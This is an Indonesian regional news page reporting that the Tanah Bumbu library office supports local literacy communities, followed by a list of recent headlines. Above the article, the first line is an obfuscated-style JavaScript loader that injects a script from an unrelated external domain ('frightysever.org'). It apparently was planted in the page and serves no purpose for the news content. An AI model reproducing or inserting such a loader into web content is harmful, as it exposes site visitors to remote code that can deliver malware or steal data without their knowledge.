(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Dispersip Tanbu Sediakan Fasilitas Dukung Komunitas Literasi


KANALKALIMANTAN.COM, BATULICIN – Dinas Perpustakaan dan Kearsipan Kabupaten Tanah Bumbu (Tanbu) terus berupaya mendukung program komunitas dan literasi daerah.

Salah satunya dengan menyediakan fasilitas dan turut mendukung semangat literasi di Bumi Bersujud.

Berdasarkan data Dispersip Tanbu, ada 5 komunitas literasi yang masuk binaan yaitu Bagang Sastra, Majelis Haha Hihi, Kopiambar, Komunitas Bestari Literasi, Komunitas Literasi Tanah Bumbu IPM.

Kepala Dispersip Tanbu, Yulia Rahmadhani diwakili Sekretaris Dispersip Tanbu, Muhammad Saleh mengatakan, perpustakaan merupakan pusat pengetahuan dan informasi, sehingga perpustakaan menjadi salah satu sarana utama dalam penyebaran pengetahuan dan Informasi.

 

Baca juga  : Merawat Tradisi Kuntau Dayak Haur Bahenda, Seni Bela Diri yang Harus Dijaga

“Dengan hadirnya perpustakaan, diharapkan dapat memperluas peyebaran informasi dan ilmu pengetahuan. Serta meningkatnya indeks pembangunam literasi di masyarakat Tanah Bumbu, sehingga dapat mewujudkan Tanah Bumbu cerdas,” ungkapnya, Minggu (8/1/2023).

“Dewasa ini perpustakaan telah bertransformasi, bukan lagi hanya sekadar tempat meminjam dan mengembalikan buku, kini perpustakaan telah menjadi pusat berkegiatan masyarakat, baik workshop, seminar dan pelatihan yang bermuara pada peningkatan kesejahteraan masyarakat,” kata Saleh.

Literasi adalah soal penanaman budaya di dalam diri seseorang, dimana terdapat kemampuan membaca, menulis dan juga mengenali serta memahami ide-ide secara visual.

Baca juga  : Pengunggah Foto Motor Naik JPO Banjarbaru 2 Tak Ditahan, SH Bikin Video Permintaan Maaf

Di Bumi Bersujud Tanah Bumbu, literasi didukung dengan hadirnya Dispersip Tanbu.

Sebagai informasi, Indonesia menempati ranking ke 62 dari 70 negara berkaitan dengan tingkat literasi, atau berada 10 negara terbawah yang memiliki tingkat literasi rendah. Kualitas melek aksara maupun kesadaran masyarakat dalam membangun literasi di daerah masing-masing masih terbilang kurang. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

13 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

16 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.